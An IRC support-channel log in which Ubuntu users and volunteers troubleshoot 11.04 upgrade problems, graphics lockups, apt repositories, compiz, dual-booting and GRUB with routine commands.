[04:45] <soreau> gtech: Have you tried unplugging any devices you can such as your xbox controller?
[04:46] <gtech> soreau: no, I'll try
[04:46] <awesomestman> richard@richard-VGN-FZ430E:~$ sudo mv /var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_natty_main* ~/Desktop/ mv: cannot stat `/var/lib/apt/lists/us.archive.ubuntu.com_ubuntu_dists_natty_main*': No such file or directory richard@richard-VGN-FZ430E:~$
[04:46] <awesomestman> Did I do it wrong?
[04:47] <red2kic> awesomestman: No last part "mv"
[04:47] <red2kic> Oh.
[04:48] <Bpentest> hey
[04:48] <fizyplankton> does any one know if it is possible to have a VT on 2 monitors? like to where they arent the same, and i can switch back and forth. either that, or can i make it to where i can log into TTY1 on one monitor,m and TTY2 on the other monitor?
[04:48] <gtech> soreau: tried disconnecting the xbox reciever and speakers, still hardlocking
[04:48] <Bpentest> any one using 11.04 yet as there main OS not VMing?
[04:48] <almoxarife> unorugby: was it a wubi install?
[04:48] <red2kic> awesomestman: "cd /var/lub/apt/lists ; ls" -- What file(s) do you see?
[04:48] <soreau> gtech: I still think it's loading the nvidia module too
[04:48] <tepster> Bpentest: I am
[04:49] <ZekeS> Bpentest: I'm using the Server 11.04, but I dont think that'll help you :p
[04:49] <tepster> not really my main actually, just not VMing
[04:49] <unorugby> @almoxarife what constitues a "wubi" install?
[04:49] <soreau> gtech: Can you try booting with nvidia.dontloadme=1 nouveau.dontloadme=1 ?
[04:49] <awesomestman> richard@richard-VGN-FZ430E:~$ cd /var/lub/apt/lists ; ls bash: cd: /var/lub/apt/lists: No such file or directory Desktop    Downloads         Music     Public     Videos Documents  examples.desktop  Pictures  Templates richard@richard-VGN-FZ430E:~$
[04:49] <ZekeS> unorugby: an install using wubi
[04:49] <Bpentest> tepster: any major issues? im kinda hesitant to upgrade it with all my server/ wine apps im using
[04:49] <gtech> soreau: where do I set those?
[04:49] <awesomestman> So it said no such file or directory but I got all this
[04:49] <unorugby> i partitioned my hard drive and installed it off of a disk
[04:50] <Bpentest> zekeS: are you able to do things like ssh with out issue?
[04:50] <gtech> soreau: like in the grub menu?
[04:50] <fizyplankton> does any one know if it is possible to have a VT on 2 monitors? like to where they arent the same, and i can switch back and forth. either that, or can i make it to where i can log into TTY1 on one monitor,m and TTY2 on the other monitor?
[04:50] <tepster> Bpentest: I don't have any major issues, no, but then again, I did a fresh install, not an inplace upgrade
[04:50] <soreau> gtech: yes, as kernel args
[04:50] <ZekeS> Bpentest: yep, altho I dont do anything too serious - ssh, samba, nfs, ftp mainly
[04:50] <red2kic> awesomestman: Damnnit. I made a mistake. Replace 'lub' with 'lib'
[04:51] <Bpentest> tepster: ok thanks
[04:51] <soreau> gtech: Append to the linux line, where it ends with something like ro quiet splash
[04:51] <red2kic> awesomestman: Use arrow keys to use the previous command -- then edit it.
[04:51] <alcane> what is that website where i can paste code &  get a url for it?
[04:51] <red2kic> !paste | alcane
[04:51] <ubottu> alcane: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[04:51] <genii-around> !pastebin
[04:51] <Bpentest> ZekeS: alright as long as i can keep up my ssh server
[04:51] <ZekeS> ~inplace upgraded since 9.04~
[04:51] <alcane> thx
[04:51] <almoxarife> unorugby: since the ubuntu install did you re-install windows?
[04:51] <ngc604> how can i change the background of the log in screen. i think i am just overlooking it.
[04:52] <unorugby> almoxarife: no, it just stopped working out of no where
[04:52] <awesomestman> ah it's all right
[04:52] <GarryFre> My conky is covering over all my windows. I remember I need to edit autostart.sh to correct it, and I have this site telling me to do so but no site is reminding me where autostart.sh is, and the find command just drops to command line without even trying to find it.
[04:52] <awesomestman> richard@richard-VGN-FZ430E:~$ cd /var/lib/apt/lists ; ls extras.ubuntu.com_ubuntu_dists_natty_main_binary-i386_Packages extras.ubuntu.com_ubuntu_dists_natty_main_i18n_Index extras.ubuntu.com_ubuntu_dists_natty_main_i18n_Translation-en extras.ubuntu.com_ubuntu_dists_natty_main_i18n_Translation-en%5fUS extras.ubuntu.com_ubuntu_dists_natty_main_source_Sources extras.ubuntu.com_ubuntu_dists_natty_Release extras.ubuntu.com_ubuntu_dist
[04:52] <unorugby> literally one day working the next morning not
[04:52] <awesomestman> and there's more but it looks like IRC cut it off
[04:53] <ZekeS> awesomestman: use a pastebin
[04:54] <gtech> soreau: cool, executing and logging in...
[04:54] <red2kic> awesomestman: I'm not sure why you have extras.ubuntu.com (I'm not sure if that's normal).
[04:54] <soreau> gtech: It worked?
[04:54] <gtech> soreau: nope, lockup
[04:54] <gtech> soreau: no nvidia splash though
[04:54] <soreau> gtech: Well I'm just about out of ideas then
[04:54] <red2kic> awesomestman: "cat /etc/apt/sources.list" -- Paste it in http://paste.ubuntu.com
[04:55] <jakegub> I'm having problems getting unity to work on my new Sandy Bridge Optimus-equipped notebook.   Ouput of unity-support-test is http://pastebin.com/XBCLgx8E
[04:55] <alcane> i just tried to upgrade ubuntu and now I'm getting this: http://pastebin.com/x7Jb58UZ
[04:55] <soreau> gtech: Try a livecd and see if it helps. If so, a clean install should work
[04:55] <bazhang> jakegub, can you disable optimus in the bios?
[04:55] <awesomestman> I found how to use a pastebin.
[04:55] <awesomestman> http://pastebin.ca/2053690
[04:56] <genewitch> well, natty dist upgrade works on the cloud
[04:56] <genewitch> :-)
[04:56] <jakegub> bazhang: Not an option on mine.  Pastebin expired.  Re-pasting  http://pastebin.com/U4x91z5P
[04:56] <gtech> soreau: heh thanks for the help anyway, gonna try to configure stumpwm and finally migrate from gname
[04:56] <gtech> soreau: gnome*
[04:56] <red2kic> awesomestman: Please paste the results of "cat /etc/apt/sources.list"
[04:57] <unorugby> should i reload and be more specific about what the screen says when ubuntu fails to load?
[04:57] <bazhang> jakegub, there's a thread about that on ubuntuforums with a link to a PPA is that the nvidia 420 (cannot remember the exact chipset name)
[04:57] <Docfxit> I have been trying to signon to my Ubuntu. It says I have a wrong password. I have booted into recovery mode and tried passwd Docfxit in all lower case it says passwd: unknown user Docfxit in all lower case. How can I get back into my system?
[04:57] <soreau> gtech: no problem, best of wishes
[04:57] <awesomestman> Here's this paste for ya http://pastebin.ca/2053694
[04:58] <MethedMan> what is considered to be the best email client for ubuntu
[04:58] <tensorpudding> !best | MethedMan
[04:58] <ubottu> MethedMan: Usually, there is no single "best" application to perform a given task. It's up to you to choose, depending on your preferences, features you require, and other factors. Do NOT take polls in the channel. If you insist on getting people's opinions, ask BestBot in #ubuntu-bots.
[04:58] <bazhang> MethedMan, ask in #ubuntu-bots dont poll here please
[04:58] <jakegub> bazhang: it's the 540m   I haven't tried using the proprietary drivers yet.  I was actually willing to do without the dedicated graphics, but maybe that's the thing to try first is using the nvidia set
[04:58] <tensorpudding> MethedMan: Evolution is the one that is included, you should try it first
[04:59] <tepster> webmail is best email client
[04:59] <tepster> :p
[04:59] <MethedMan> tensorpudding: evolution is default.  i am using that one now.
[04:59] <hypetech> MethedMan: you can try out thunderbird if evolution doesn't tickle your fancy
[04:59] <MethedMan> tensorpudding: i am not looking to "poll". looking for possibilities.  what is out there?
[04:59] <bazhang> jakegub, ok. well not sure if the PPA works for that, there is also unity-2d package for non 3d accellerated
[04:59] <tensorpudding> MethedMan: i liked claws-mail, but i use evolution now and am happy with it
[04:59] <bazhang> MethedMan, that was a poll question please dont here
[05:00] <jakegub> bazhang: proprietary drivers say they're installed but not in use
[05:00] <bazhang> MethedMan, check the package manager
[05:00] <bazhang> jakegub, you can enable them via additional drivers and then reboot
[05:00] <jakegub> bazhang: I'm sorry it says they're activated but not currently in use
[05:01] <donchriscoe> quit
[05:01] <Docfxit> Could someone please help me signon to my system?
[05:01] <bazhang> jakegub, then a reboot, and if it says must start in low res mode, go back and try to enable again
[05:01] <GarryFre> Ok, I can't find out how to get conky to stop covering over every window, None will help, I am going to have to uninstall conky and give up.
[05:01] <bazhang> Docfxit, Docfxit would not be a password, but your username
[05:02] <bazhang> GarryFre, or try the ubuntuforums conky guide
[05:02] <Docfxit> bazhang That's correct.
[05:02] <xangua> GarryFre: or just ready conky documention or use one of the many easy to use  configuration like conky colors
[05:02] <MethedMan> ubottu: how do i communicate with a bot?
[05:02] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[05:02] <jakegub> bazhang: are you saying to remove the drivers, then re-install them?
[05:02] <Docfxit> bazhang Docfxit is my user name - It's all in lower case
[05:03] <bazhang> xangua, he just quit
[05:03] <MethedMan> bazhang: good suggestion. thanks
[05:03] <red2kic> awesomestman: Meh. Open Software Sources. Try disabling/enabling the repos. Hopefully that can refresh the index.
[05:03] <bazhang> MethedMan, in #ubuntu-bots with bestbot?
[05:04] <awesomestman> Software sources doesn't seem to come pre-installed. How can I get it without using Software Center given that it's not working for me?
[05:04] <red2kic> awesomestman: It is not under System --> Admin/Prefs?
[05:04] <xangua> !source | awesomestman
[05:04] <ubottu> awesomestman: You can easily fetch a package's source with apt-get. See: http://www.debian.org/doc/manuals/apt-howto/ch-sourcehandling.en.html
[05:05] <Docfxit> bazhang How can I get to accept my password or reset my password?
[05:05] <bazhang> awesomestman, its in synaptic now
[05:05] <MethedMan> bazhang: i am a bit confused with these "bots"
[05:06] <red2kic> awesomestman: You want to enable parnter repo. Not extra repo.
[05:06] <red2kic> partner*
[05:07] <lyle> hey is there some way to have the unity launchbar use a different icon theme from nautilus and the notification area, etc.?
[05:07] <giacomo_c> i'm having a bit of trouble connecting to my wireless on the live 11.04 cd
[05:08] <awesomestman> This is what happened when I tried to open synaptic
[05:08] <xangua> lyle: change the icon theme, google for: gnome look
[05:08] <Erf_Neerg> giacomo_c do u know what kind of chipset you have?
[05:08] <bazhang> gnome-look.org xangua
[05:08] <Erf_Neerg> giacomo_c I'm having the same issue with bm 44/43 something
[05:08] <awesomestman> shit can't upload the image
[05:08] <giacomo_c> not really sure Erf_Neerg, i know its an intel integrated a/g/b
[05:08] <bazhang> awesomestman, no cursing please
[05:09] <hiexpo> this is what I am beginning to see is that ubuntu 11.04 is broke   > Glad i stuck with 10.04 lts
[05:09] <giacomo_c> i can get it to show me a list of networks, ifconfig says it's up
[05:09] <red2kic> awesomestman: "gksudo gedit /etc/apt/sources.list" -- http://pastebin.com/KUKqJgrr
[05:09] <awesomestman> Oops. Anyways here's the pastebin of what Synaptic gave me http://pastebin.ca/2053695
[05:10] <giacomo_c> yeah, i'm thinking 10.04 might be the way to go hiexpo
[05:10] <giacomo_c> also, this new interface is confusing and kinda a pain
[05:11] <awesomestman> red2kic: what do you want me to do?
[05:11] <red2kic> awesomestman: You may want to use Ubuntu 10.04 (LTS) -- Stable and you don't have to mess around. My opinion is that 11.04 may not be ready.
[05:11] <Erf_Neerg> giacomo_c go in terminal and try lspci
[05:11] <lyle> xangua, what i'm asking is, can the launcher use a different icon theme than the rest of ubuntu?
[05:11] <zenocon> nice summary of 11.04 tweaks: http://www.webupd8.org/2011/04/things-to-tweak-fix-after-installing.html
[05:11] <red2kic> awesomestman: I just looked. I don't think extra repo have anything yet. However, skype is in partner repo and it's not enabled.
[05:11] <elijah> What is the command to list all my devices? (not partitions)
[05:11] <lyle> xangua, i want to use Humanity on the launcher and Faenza everywhere else.
[05:11] <lighta> hi, how can I disable webcam in empathy ?
[05:11] <awesomestman> You want m to just downgrade to a lower version and work from there?
[05:11] <awesomestman> -me
[05:11] <Erf_Neerg> elijah lspci ?
[05:11] <red2kic> awesomestman: I highlighted four lines -- See the differences (hashes) between pastebin and the file you're about to open.
[05:11] <xangua> lyle: edit the icon theme
[05:11] <giacomo_c> Erf_Neerg: Network controller:  Intel Corporation PRO/Wireless 2915ABG [Calexico2}
[05:12] <unorugby> hello, i'm having issues with ubuntu loading, when i start up my computer, it runs through a sequence of text before it ends with information similar to what follows: "in ouit: mountin /sys or /root/dev failed: no such file or directory" and " No init found. Try passing init: bootarg"
[05:12] <D-coy> O.o'
[05:12] <red2kic> awesomestman: Different (older) version -- but more stable.
[05:12] <red2kic> !lts | awesomestman
[05:12] <ubottu> awesomestman: LTS means Long Term Support. LTS versions of Ubuntu will be supported for 3 years on the desktop, and 5 years on the server. The current LTS version of Ubuntu is !Lucid (Lucid Lynx 10.04)
[05:12] <Erf_Neerg> giacomo_c dunno what else to say sadly
[05:12] <ann> hi all
[05:12] <mbrigdan> Hello! Since I upgraded to 11.04, all my window decorations in compiz (i don't really like unity) have disappeared. I've tried reinstalling many things, (even new window decorators, such as emerald) but nothing works, and it makes it hard to do things
[05:13] <elijah> Erf_Neerg: I mean like sda and hda etc
[05:13] <zenocon> awesomestan: i just installed skype on 11.04 without issue
[05:13] <zenocon> had to enable partner repo first, but that was it
[05:13] <elijah> Erf_Neerg: I am trying to recover a drive with ddrescue and need to make sure I can see it first
[05:13] <Docfxit> bazhang I got into my system with a different user name. I'd like to fix my original user name. When I select System, Administration it doesn't have users as an option.
[05:13] <hiexpo> giacomo_c, yep i use it with kernal 2.6 38.5 kernal works good
[05:13] <lyle> mbrigdan, try doing a compiz --replace ?
[05:13] <ann> u pay for skype?
[05:14] <giacomo_c> i have no idea what i just did, but i got it to work i guess, haha
[05:14] <awesomestman> I understand.  I'll get that taken care of tomorrow then. Will doing so affect my partition though?
[05:14] <xangua> ann: if you want skype credit to make calls i suppose
[05:14] <Erf_Neerg> elijah wooshing over my head
[05:14] <xangua> to make calls to phones*
[05:14] <unorugby> anyone?
[05:14] <xangua> !emerald | mbrigdan
[05:14] <ubottu> mbrigdan: emerald is an obsolete window decorator for compiz. It's unsupported and unmaintained, making issues with it very hard to diagnose and fix. There are no known, supported alternatives.
[05:14] <ann> yes so i thought lol
[05:15] <zenocon> y, you can buy skype credits for computer to pots, but it is free for computer<->computer
[05:15] <mbrigdan> xangua, Well, it wasn't working before emerald either, so I thought I might as well try it
[05:15] <giacomo_c> also, what's up with this new interface?  why are they dumbing everything down so much?
[05:15] <ann> I can't see tv on Hulu
[05:15] <ann> downloaded flash player
[05:15] <Chaorain> I have a small problem, whenever I try to open a file downloaded in Chromium's download manager Nautilus tries to open it instead.
[05:15] <ann> still blocks me
[05:16] <LittleRed> ann: what browser?
[05:16] <ann> internet explorer and firefox
[05:16] <mbrigdan> lyle, compiz --replace appears to be stuck on Setting Update "run_command_terminal_key", still no window decorations
[05:17] <red2kic> Chaorain: Any files or a particular filetype?
[05:17] <zenrox> ann it is in the ubuntu repos look thare useing synaptic
[05:17] <Guest64315> can someone help me with this usb sound device
[05:17] <Chaorain> red2kic: every filetype.
[05:17] <LittleRed> ann: let me check mine
[05:17] <giacomo_c> is there a way i can just install xubuntu from the ubuntu live cd?
[05:17] <ann> I know how to get in terminal
[05:17] <lyle> mbrigdan, oh yeah, it's not stuck, that's compiz running now. do alt+f2 and then do compiz --replace in that launcher.
[05:18] <Guest64315> hello, my usb device doesn't sound on xubuntu, but worked on regular ubunt
[05:18] <elijah> i am inside the program parted and i can't get back to prompt with ctrl+c or q, any ideas?
[05:19] <xangua> giacomo_c: download xubuntu from xubuntu.org
[05:19] <mbrigdan> lyle, Still nothing, but the previous compiz --replace (in a terminal) segfaulted and died
[05:19] <red2kic> Chaorain: Hmm. Check Chromium's Settings/Preferences? I know a situation where opening a folder would result in opening a music player (instead of nautilus).
[05:19] <awesomestman> So I'll take care of going to 10.04 tomorrow. Anything I should know about that ahead of time though?
[05:19] <bazhang> xangua, xubuntu-desktop and purexfce would be more optimal
[05:19] <red2kic> awesomestman: Just come in when you did your part.
[05:19] <MethedMan> how do i get evolution to show in the system tray
[05:20] <red2kic> awesomestman: Far less hiccups, that's for sure. Ubuntu 11.04 just came out maybe five days ago.
[05:20] <ann> not a big deal I watch cbs,crackle
[05:20] <lyle> mbrigdan, can you pastebin the output from when you ran it in the terminal?
[05:20] <xangua> MethedMan: check the envelope, it's there
[05:20] <giacomo_c> i know, but how do i install xubuntu-desktop to my hd from the live cd bazhang
[05:20] <ann> I have a problem where pc shuts down when doing updates
[05:21] <bazhang> giacomo_c, you dont
[05:21] <ann> then have to reload operating system on usb flash drive
[05:21] <mbrigdan> lyle, http://paste.ubuntu.com/603095/
[05:21] <MethedMan> xangua: i do not understand what you are saying
[05:21] <bazhang> giacomo_c, you need the alternate cd to use a s a source
[05:21] <giacomo_c> elijah: just type quit to exit parted
[05:21] <awesomestman> red2kic: Gotcha. I alreay have Windows 7 running fine on a partition created with 11.04 . Will installing 10.04 affect that?
[05:22] <xangua> MethedMan: check the envelope...on the right corner
[05:22] <red2kic> awesomestman: There should be graphical installer. You may see the option to delete 11.04. Or replace the partition. As long as Windows partition are left alone.
[05:22] <giacomo_c> i guess i'll just install this and then get the xubuntu-desktop
[05:23] <magusOTB> Is setting up a swap partition on a SSD a good idea?
[05:23] <MethedMan> xangua: are you saying by default it is in the system tray.  i do not see an envelope on the right corner
[05:23] <magusOTB> wouldn't it result in tons of write cycles?
[05:23] <bazhang> !purexfce | giacomo_c
[05:23] <ubottu> giacomo_c: If you want to remove all !KDE and !Gnome packages and have a default !Xubuntu system follow the instructions here « http://www.psychocats.net/ubuntu/purexfce »
[05:23] <lyle> mbrigdan, do alt+f2 again and this time try metacity --replace
[05:23] <bazhang> magusOTB, what size ssd
[05:23] <Docfxit> When I put use sudo -I -u myusername I get sudo: no passwd entry for myusername How can I fix that?
[05:23] <magusOTB> bazhang: 128G, but what difference does that make?
[05:24] <awesomestman> red2kic: Okay. Another question. I installed 11.04 from a flash drive. Should I do the same or should I just buy a blank disc to be safe?
[05:24] <bazhang> magusOTB, some, for example my eeepc 4GB ssd
[05:24] <mbrigdan> lyle, Hey! Window decorations! That's nice. I do rather like compiz though, do you know how I could get it working again?
[05:24] <Chrisev> tengo una consulta
[05:24] <lyle> mbrigdan, not sure, just wanted to see if they showed up under metacity
[05:24] <bazhang> Chrisev, english here please
[05:25] <lyle> mbrigdan, you can go back to comiz by doing compiz --replace again
[05:25] <magusOTB> bazhang: Still, given that mine is not, is it worth having one, especially considering that the machine has 12GB of ram
[05:25] <lyle> MadDecent, ohai
[05:25] <Or1on1> I just upgraded to 11.04 and I'm getting kernel panic after login on my asus G51
[05:25] <Chrisev> bazhang give me a channel
[05:25] <bazhang> magusOTB, if you want to hibernate/suspend then sure, some swap is always a good idea
[05:25] <Chrisev> please
[05:25] <bazhang> Chrisev, for italian?
[05:25] <multipass_> anyone know a decent mechanism to "alt-tab" out of openGL games?
[05:25] <Chrisev> spanish
[05:26] <bazhang> Chrisev, #ubuntu-es
[05:26] <magusOTB> bazhang: I don't need to hibernate/suspend. I don't think my motherboard supports either of them properly.
[05:26] <mbrigdan> lyle, Hmm, going back gets rid of them again. Maybe I'll reinstall all the compiz packages
[05:26] <Chaorain> red2kic: Nothing yet
[05:26] <giacomo_c> another question, how do i view my hdd from the live cd?
[05:26] <giacomo_c> i don't remember
[05:26] <bazhang> magusOTB, then your choice really, a small amount is what I'd do, but that's up to you
[05:26] <magusOTB> giacomo_c: Does it now show up on your desktop?
[05:26] <magusOTB> bazhang: K. thanks.
[05:26] <MethedMan> xangua: any ideas?
[05:27] <Chrisev>  thanks
[05:27] <giacomo_c> nope
[05:27] <bazhang> MethedMan, by system tray you mean the top panel?
[05:27] <MethedMan> yes
[05:27] <bazhang> MethedMan, right click add to panel
[05:27] <awesomestman> Does it matter whether or not I'll install 10.04 on a flash drive or if I should just buy some discs given that I installed 11.04 on a flash drive and these issues are occuring?
[05:27] <MethedMan> bazhang: no. sorry. i mean the "notification area"
[05:28] <bazhang> awesomestman, if it can boot from usb then that s fine
[05:28] <MethedMan> bazhang: when you run xchat or whatever it automatically docks in the "notification area"
[05:28] <Bane99> hey all
[05:28] <Bane99> got a question
[05:28] <awesomestman> Thanks for all your assistance.
[05:28] <Captainkrtek> Bane99, what'sup?
[05:28] <bazhang> awesomestman, use the usb-creator or unetbootin to make it
[05:28] <Bane99> never used Ubuntu before... when you log into the computer after installing does it give you the dual boot option?
[05:29] <Bane99> i have a separate partition for it
[05:29] <Bane99> first time i'll be using linux actually
[05:29] <Captainkrtek> Bane99, no, you have to install windows then Ubuntu, or the other way around and boot to a live CD and edit grub
[05:29] <Bane99> aside from my android phone :P
[05:29] <bazhang> Bane99, is it set up properly for that? whats the other system on it
[05:29] <Chaorain> can someone tell me what the command in the last post is suposed to be? http://www.thisweekinlinux.com/forum/index.php?topic=574.0
[05:29] <Bane99> Windows 7 Pro x64bit
[05:29] <bazhang> Bane99, then installing ubuntu will do it for you
[05:30] <Bane99> i set aside a 100GB partition for installing another oS
[05:30] <Captainkrtek> Bane99, did you install Ubuntu over?
[05:30] <Captainkrtek> Bane99, if so Grub will take care of up
[05:30] <Bane99> i havne't installed it yet
[05:30] <giacomo_c> how do i list the drives i have?
[05:30] <Bane99> downloading the file
[05:30] <Bane99> well the iso
[05:30] <bazhang> sudo fdisk -l
[05:30] <RxDx> is there any applet (like net-speed for gnome2) that shows me my network speed for Unity?
[05:30] <giacomo_c> ah
[05:30] <Captainkrtek> RxDx, terminal based- sudo apt-get install speedometer
[05:30] <Bane99> essentially i'm a linux noob
[05:30] <Bane99> sorry guys =/
[05:31] <RxDx> Captainkrtek, ill try, thanks
[05:31] <bazhang> Bane99, we all are at some point
[05:31] <Captainkrtek> Bane99, we all were once, if you need any help feel free to ask or PM me :-) welcome!
[05:31] <giacomo_c> fdisk doesn't show it
[05:31] <Bane99> lol
[05:31] <Bane99> so after making the disk
[05:31] <Bane99> boot from cd?
[05:31] <giacomo_c> but when i go to intall ubuntu, it shows it as /dev/sda
[05:31] <Bane99> or should i just install it from windows
[05:31] <bazhang> Bane99, set in bios to boot from CD first
[05:31] <Captainkrtek> Bane99, boot from CD, select partition, install, reboot, select what you want to boot to from grub
[05:31] <LittleRed> Bane: i lurk in here to leatn stuff
[05:31] <Bane99> the problem is, my mobo doesn't like to recognize my USB mouse
[05:31] <Bane99> in the boot screens
[05:31] <bazhang> Captainkrtek, he has partitioned already
[05:32] <Bane99> i tried to install ubuntu awhile ago
[05:32] <Captainkrtek> Bane99, During the boot up you have to use your keyboard
[05:32] <Captainkrtek> bazhang, just meant for him to select it, not create it
[05:32] <Bane99> ok
[05:32] <mbrigdan> lyle, Do you happen to know there the proprietary drivers setting has gone? I figure I might as well double check, but I can't find it under System->Preferences or Administration
[05:32] <Bane99> install it to the free partition
[05:32] <Captainkrtek> Bane99, yeah
[05:32] <LAcan> how do i knock down the color depth on gnome desktop?
[05:32] <Bane99> then will i get the boot choice when i start the computer?
[05:33] <RxDx> Captainkrtek, speedometer doesnt integrate with Unity =/
[05:33] <Bane99> sigh 50min left on the.iso download
[05:33] <lyle> mbrigdan, should be in Administration
[05:33] <Bane99> what is unity?
[05:33] <Captainkrtek> RxDx, oh sorry didn't see unity, thought you just needed something to view speeds, sorry!
[05:33] <bazhang> Bane99, yes you will
[05:33] <bazhang> !unity | Bane99
[05:33] <ubottu> Bane99: Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[05:33] <RxDx> Captainkrtek, np :) but do u know some that does?
[05:34] <Captainkrtek> RxDx, not off the top of my head, check the Ubuntu Software Center perhaps?
[05:34] <Captainkrtek> or the forums
[05:34] <sary> ann , how you doin there
[05:34] <RxDx> Captainkrtek, i did.. thanks anyway :)
[05:34] <Captainkrtek> RxDx, no problem, sorry heh
[05:36] <bison> hello, why is it my ubuntu, after re starting, its not working, only flashing
[05:36] <Captainkrtek> bison, could you be more specific?
[05:36] <Captainkrtek> by the sounds of it possibly a video card issue
[05:36] <fatguy> @bison  I had the same problem, you probably need to switch to classic mode
[05:37] <mbrigdan> lyle, hmm, is there a difference between the NVIDIA binary Xorg driver and the NVIDIA accelerated graphics driver?
[05:37] <bison> after reboot nothing happens
[05:37] <bison> fatguy: im using ubuntu 10.10
[05:37] <fatguy> oh, nm then
[05:37] <Captainkrtek> bison, your video card may be broken
[05:37] <fatguy> my problem was with 11.04
[05:38] <Captainkrtek> bison, do you just see lines on the display or something of the like?
[05:38] <bison> captainkrtek: nothing
[05:38] <FHtrain> how do i access places from livecd?
[05:38] <lyle> mbrigdan, if one of them says "experimental" then that one is nouveu, not the official nvidia driver
[05:38] <Captainkrtek> bison, verify connectivity of your video card and the cable, test a different monitor if possible and also try booting to a live CD
[05:39] <mbrigdan> lyle, No, but the currently enable one (accelerated graphics) says recommended, so I'll just leave it
[05:39] <fatguy> anyone know a program that will stream a webcam? (I googled and came up with nothing.)
[05:39] <sary> ann shuts down issue could be related to serval things ..
[05:39] <lyle> mbrigdan, that's probably the best idea. did you upgrade to 11.04 or do a fresh install?
[05:39] <mbrigdan> lyle, I upgraded
[05:39] <bison> captainkrtek: ok rebboting to live cd
[05:40] <Captainkrtek> k
[05:40] <frankely> Hello, i want to know how to allow execution of a file which is mounted in a hard drive partition in /media
[05:41] <Captainkrtek> frankely, chmod +x filename.file
[05:41] <Captainkrtek> in /media ^
[05:41] <Bane99> is v11 not recommended over 10?
[05:41] <Captainkrtek> Bane99, 11.04 is new as of a few days ago
[05:41] <frankely> it doesnt work, Captainkrtek
[05:41] <Captainkrtek> frankely, what is the output?
[05:41] <Captainkrtek> or could you be more specific
[05:41] <frankely> nothing
[05:41] <frankely> what i want is that give the x permission
[05:41] <bison> captainkrtek: ok, im in, using live cd
[05:41] <Captainkrtek> frankely, what type of file are you trying to execute
[05:41] <Diverdude> To this day i still do not understand why the clipboard in ubuntu has not been fixed yet. When i copy something from a program or window or whatever it goes to the clipboard-> good. But when i close the program or window....my copy is ALSO deleted from the clipboard...this is something which should have been fixed in alpha version 0.0.1.....but in ubuntu 11.04 it still exists. I am baffled!
[05:42] <frankely> but i have tried that, and when i check the file doest no have it
[05:42] <Captainkrtek> bison, so video works now?
[05:42] <frankely> non-extesion file, is the eclipse launcher
[05:42] <Smiledon> Diverdude, i agree with u. developer wants to develop eye candies than fixing  bugs
[05:42] <Bane99> oh i'm d/l 11
[05:43] <bison> captainkrtek: i thinks so, im using it now, using live cd
[05:43] <Diverdude> Smiledon, yes. it is a shame
[05:43] <Captainkrtek> bison, okay so did you install some updates recently in your real installation?
[05:43] <nutsfornatty> really? wow i never knew copy worked that way.
[05:43] <bison> captainkrtek: ya, a while ago
[05:44] <bison> captainkrtek: but i can't remember what kind of update is that
[05:44] <Captainkrtek> bison, okay so we can presume that that is the issue, let's try to boot into safe graphics mode using the vesa driver
[05:44] <bison> captainkrtek: how?
[05:44] <Captainkrtek> bison, hold on
[05:45] <Diverdude> Smiledon, but what is there to do
[05:45] <Smiledon> i dunno. i just live with it lol
[05:45] <bison> captainkrtek: tnx
[05:46] <Captainkrtek> bison, okay boot up and at grub highlight your installation and hit 'e'
[05:46] <bison> captainkrtek: i can't see anything
[05:46] <mbrigdan> lyle, Yay, I fixed it. Apparently the "Window Decorations" compiz plugin has disappeared somehow, and re-installing compiz plugins made it come back, so I just had to enable it. Thanks for the help
[05:46] <lyle> yeah, that'd do it
[05:46] <Captainkrtek> bison, before it boots to Ubuntu, at grub
[05:47] <Smiledon> sometimes i just opened gedit then paste and copy and paste again lol
[05:47] <Captainkrtek> bison, what size is your monitor by the way, looking up a code, *resolution size*
[05:47] <Aginor> Diverdude: https://launchpad.net/glipper might be something for you then
[05:47] <bison> 17''
[05:47] <Captainkrtek> bison, k
[05:48] <Captainkrtek> bison, you at the grub loader?
[05:48] <bison> captainkrtek: i can't see the grub loader, all black
[05:48] <Captainkrtek> bison, turn off the computer then turn it back on, before it boots up to Ubuntu it should go through your grub bootloader
[05:48] <bison> captainkrtek: i already did that
[05:49] <Captainkrtek> bison, okay boot back up to the live cd
[05:49] <bison> captainkrtek: ok booting
[05:51] <Diverdude> Aginor, it does not work in all programs
[05:51] <bison> captainkrtek: ok im in, using live cd
[05:51] <Chaorain> I am having a problem where Nautilus is trying to open files instead of the correct program (.jpg, .deb, etc), can someone help me fix?
[05:51] <needlez> hey is there a way to have totem display the length of the current playing movie, in a script?? and if so how and how can i make the script get that in seconds and tell the computer to wait for the length of the movie in seconds
[05:51] <Captainkrtek> bison, navigate to your old hard drive, if not available mount it via disk utility
[05:52] <Aginor> Diverdude: I can't say I've tried it myself :D
[05:52] <erik__> network not available,previously the wire network was working and i had problems with wireless.now neither is working
[05:52] <needlez> I have asked in #bash and they told me its not a bash issue
[05:52] <bison> captainkrtek: ok
[05:52] <Captainkrtek> bison, in a terminal type
[05:52] <bison> captainkrtek: mounted
[05:52] <Captainkrtek> open a terminal and navigate to that hard drive
[05:52] <Captainkrtek> then: gedit /boot/grub/menu.lst
[05:53] <chelz> anyone know how to add/remove ufw/gufw rules for *only* ipv4 or ipv6, not both?
[05:53] <Captainkrtek> bison, actually once on that disk do gedit boot/grub/menu.lst
[05:53] <Captainkrtek> not /boot
[05:54] <bazhang> thats not around anymore
[05:54] <Captainkrtek> ?
[05:54] <bazhang> ie menu.lst
[05:54] <bazhang> !grub2
[05:54] <ubottu> GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[05:54] <zenocon> gnome-panel dies a lot if you mess with compiz plugin settings
[05:54] <Captainkrtek> bazhang, oh
[05:54] <erik__> is there a "windows restore"equivalent in ubuntu 10.10?
[05:55] <bazhang> erik__, as in a restore point?
[05:55] <erik__> bazhang: yes
[05:55] <Captainkrtek> bazhang, I haven't messed with grub in a while, didn't know that changed
[05:55] <bazhang> erik__, got backups ? a separate home partition? you could create one as well
[05:56] <erik__> bazhang: what is the commanf please?
